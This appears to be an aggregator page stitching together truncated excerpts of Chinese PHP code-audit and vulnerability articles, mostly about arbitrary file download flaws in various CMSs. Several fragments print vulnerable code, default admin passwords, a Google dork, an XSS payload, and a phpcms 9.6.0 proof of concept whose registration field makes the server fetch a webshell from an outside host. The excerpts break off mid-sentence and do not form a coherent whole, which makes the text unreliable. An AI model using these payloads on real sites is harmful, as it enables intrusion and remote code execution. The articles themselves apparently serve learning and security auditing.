漏洞文件: phpcms\modules\content\down.php 1.在download函数中对文件的校验部分 首先 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_e…
  0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhcms.com/Show/download/id/2/at/0.html 测试网站首页: 0x01 代码分析 1.漏洞文件位置:/App/Manage/Controller/DatabaseController.class.php  第365-379行: public function downFil…
  0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/cltphp 默认后台地址: http://127.0.0.1/admin/login/index.html 默认账号密码: 后台登录名:admin  密码:admin123 测试网站首页: 0x01 代码分析 1./app/admin/controller/Database.php  第203…
  0x00 环境准备 ThinkSNS官网:http://www.thinksns.com 网站源码版本:ThinkSNS V4  更新时间:2017-09-13 程序源码下载:http://www.thinksns.com/experience.html(填写信息后,提交并下载代码) 默认后台:http://127.0.0.1/index.php?app=admin&mod=Public&act=login 默认用户:管理员帐号: admin@admin.com密码自设,大于6位 测试…
  0x00 环境准备 EasySNS官网:http://www.imzaker.com/ 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/index.php/Topic/gview/id/92.html 默认后台地址:http://127.0.0.1/admin.php/Login/login.html 默认账号密码:admin/admin 测试网站首页: 0x01 代码分析 1.        漏洞文件位置:  /app/common…
在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件.  0x01 客户端下载 常见于系统中存在文件(附件/文档等资源)下载的地方. 漏洞示例代码: . <?php . $filename = $_GET['filename']; . echo file_get_contents($filename); . header('Content-Type: imgage/jpeg'); . header('Content-Disposition: at…
0x01 代码分析 后台地址:192.168.5.176/admin.php admin admin 安装后的界面 在后台发布了一首新歌后,前台点进去到一个“下载LRC歌词”功能点的时候发现是使用readfile()函数的(readfile() 函数输出一个文件) 文件位置:\template\default\source\down.php 代码很短,这里下载文件漏洞我们重点关注readfile函数和传递给这个函数的参数,也就是$file,可以看到file这个变量是由geturl和getfiel…
文件下载接口的URL构造分析与讨论 某学院的文件下载接口 http://www.****.edu.cn/item/filedown.asp?id=76749&Ext=rar&fname=filedown.rar 参数分析: id 资源的id Ext 资源的文件下载格式 fname 文件下载后的名字 逻辑原理: 发送参数给filedown.asp,asp文件接收参数id的值并从数据库查询对于ID资源的URL地址,并且下载:按照ext格式进行下载返回,按照fname对下载返回的文件命名. 某协…
前言 根据红日安全写的文章,学习PHP代码审计的第三节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完相关知识点,会用一道CTF题目来加深巩固.之前分别学习讲解了in_array函数缺陷和filter_var函数缺陷,有兴趣的可以去看看: PHP代码审计01之in_array()函数缺陷 PHP代码审计02之filter_var()函数缺陷 漏洞分析 下面我们看第一题,代码如下: <?php function __autoload($className) { inclu…
dzzoffice 任意文件下载 \updload\dzz\system\save.php第72行开始:    elseif($_GET['do']=='move'){    $obz=trim($_GET['obz']);    $tbz=trim($_GET['tbz']);    $sourcetype=trim($_GET['sourcetype']);    $icoids=explode(',',$_GET['icoid']);    $ticoid=intval($_GET['ti…
PS:该漏洞已被公布,只是学习.故自己跟着大佬的步伐审计. 文件地址:\controllers\ApiController.php Line 57 public function downAction() { $data = fn_authcode(base64_decode($this->get('file')), 'DECODE'); $file = isset($data['finecms']) && $data['finecms'] ? $data['finecms'] :…
今天我们将讨论在WordPress插件WordPress插件与重点会员简化v1.58作为这个剧本的创作时间不打补丁的扶贫开发实践.脆弱脚本如下: CVE-ID:cve-2017-1002008 当然,也可以利用Google来找 inurl:/wp-content/plugins/membership-simplified-for-oap-members-only 问题 下面是上面脚本的一些问题: ①该脚本不检查有效登录WordPress的用户,也不保护自己免受直接访问-这使得它任意(不受限制)的…
漏洞文件: /apps/admin/Lib/Action/UpgradeAction.class.php 主要问题还是出现在了180行直接将远程获取到的图片直接保存. 文中可见并没有做任何的对$downUrl进行过滤,$path也是. 所以就顺利的通过file_get_contents远程获取到了文件,然后通过file_put_contents写入到了$path当中.所以你远程文件名是啥这儿就是啥. 那么现在就来构造Payload 1.首先先了解一下这个UpgradeAction.class.p…
任意文件下载漏洞 很多网站都会提供文件下载功能,即用户可以通过点击下载链接,下载到链接所对应的文件. 但是,如果文件下载功能设计不当,则可能导致攻击者可以通过构造文件路径,从而获取到后台服务器上的其他的敏感文件.(任意文件下载) 在靶场的unsafe filedownload栏目可以看到 这些球星 这里提示我们,点击球员的名字可以下载, 我们尝试点击一下 确实是进行了下载,但是我们右击球员的名字,选择新建标签页打开链接 在下载的同时,我们看到了下载的url 这里通过get请求,下载了名为kb.p…
对于PHPcms9.6.0 最新版漏洞,具体利用步骤如下: 首先我们在本地搭建一个php环境,我这里是appserv或者使用phpnow (官网下载地址:http://servkit.org/) (只要可以执行php文件就行) 在根目录下新建一个txt文本文件里面写上php一句话,如上图可以访问 接着我们找到phpcms网站注册模块,随便填一下信息 然后我们用burpsuite抓包 (有关burpsuite工具和相关使用教程可以参考前面的文章:https://www.exehack.net/ta…
文件下载漏洞 漏洞代码: <% function download(f,n) on error resume next Set S=CreateObject("Adodb.Stream") S.Mode= S.Type= S.Open S.LoadFromFile(f) then Reaponse.status=" else Response.ContentType="application/octet-stream" Response.AddHea…
应该算0day吧,自己分析出来的,有点鸡肋,不过小cms分析确实比较简单. xss地址:search.php?word=a><img+src=1+onerror=alert`1`>a&type=1 对于word的参数,他的过滤是这样的 $trim_str = ' .,;[]|+-=_`~!@#$%^&*()<>?{}'; empty($this->type) && $this->type = 1; $this->type =…
从Java的角度谈下文件下载漏洞的产生,然后到他的修复方案.这里我的修复方案是白名单,而没有采用黑名单的方式. 首先先看一段存在文件下载漏洞的代码code: HTML视图页面  download.html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Insert title here</title> </head> <bo…
PHP审计之class_exists与任意实例化漏洞 前言 发现PHP的一些漏洞函数挺有意思,跟着七月火师傅的文章来学习. class_exists函数 函数说明 class_exists:(PHP 4, PHP 5, PHP 7) 功能 :检查类是否已定义 定义 : bool class_exists ( string $class_name[, bool $autoload = true ] ) $class_name 为类的名字,在匹配的时候不区分大小写.默认情况下 $autoload 为…
IIS 6.0 PUT上传 任意文件创建漏洞 require 1.IIS Server在Web服务扩展中开启了WebDAV. 2.IIS配置了可以写入的权限,包括网站 1.根目录 2.子文件夹 3.iis网站属性目录选项卡 写入权限 利用 burp 测试 将GET方法改为OPTIONS后测试: 2.利用PUT方法上传一句话,404 利用平台…
0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 关于 XiaoCms XiaoCms 企业建站版基于 PHP+Mysql 架构 是一款小巧.灵活.简单.易用的轻量级 cms.能满足各种企业站 博客 等中小型站点.(此cms貌似已经停止更新了) 01. 支持自定义内容模型 通过自定义内容模型和自定义字段可以轻松简单的定制出各种内容模型 如新闻模块…
这个漏洞是某司的一位前辈发出来的,这里只是复现一下而已. 原文地址:https://www.t00ls.net/thread-39226-1-1.html 首先我们本地搭建一个phpcms9.6.0的环境 下载地址:http://www.mycodes.net/43/3365.htm 点击注册页面,进行抓包 在本地创建一个txt文本,写入一句话木马 POC siteid=1&modelid=11&username=seven1&password=seven123456&em…
  0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 1.文件位置: /application/member/controller/member.class.php 第118-132行中: public function edit(){ $userid = isset($_GET['userid']) ? intval($_GET['userid']…
  0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms.com/index.php/download 测试网站首页: 0x01 代码分析 1.漏洞文件位置: \tuzicms\App\Manage\Controller\DatabaseController.class.php 第284-314行: (由于部分TuziCMS 采用zend解密,可使用如下…
  0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xiaocms.com/download/XiaoCms_20141229.zip 测试网站首页: 0x01 代码分析 1.漏洞文件位置:/admin/controller/template.php  第79--91行: public function delAction() { $dir    = $…
漏洞文件: /phpcms/modules/content/down.php download函数 这个函数开始几行代码的作用和init函数中的几乎一样,都是从parse_str 解析传入的a_k参数,但这里调用了safe_replace函数过滤. 和文件名有关的参数是$s,$f. 这两个参数都是通过parse_str解析变量得到,然后程序对$f参数过滤,过滤规则如下: if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|…
环境搭建: CSCMS :http://www.chshcms.com/ 网站源码版本:Cscms_v4.1正式版(发布日期:2017-06-05) 程序源码下载:https://github.com/chshcms/cscms 漏洞实例一: 漏洞文件位置:\cscms\plugins\sys\admin\Basedb.php  第160-177行: public function del(){ $dir = $this->input->get_post('id',true); if(empt…
在用户注册处抓包: 然后发送到repeater POC: siteid=&modelid=&username=z1aaaac121&password=aasaewee311as&email=a1ea2144@qq.com&info[content]=<img src=http://www.tzjrst.com/templets/1.txt?.php#.jpg>&dosubmit=1&protocol=…
先来看看PHPCMS V9.6.0的任意下载 还是和上次的注入一样,是个由parse_str() 函数引发的变量覆盖. 位于 /phpv9.6.0/phpcms/modules/content/down.php 的init() 函数  第11-82行 先是获取$a_k = trim($_GET['a_k']);  跟注入分析的时候一样就不多bb了, 参数f就是要下载的文件值,继续执行,当遇到p72行 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp…
此漏洞无视gpc转义,过80sec注入防御. 补充下,不用担心后台找不到.这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL? 起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处. include/dedesql.class.php if(isset($GLOBALS['arrs1'])) { $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for(…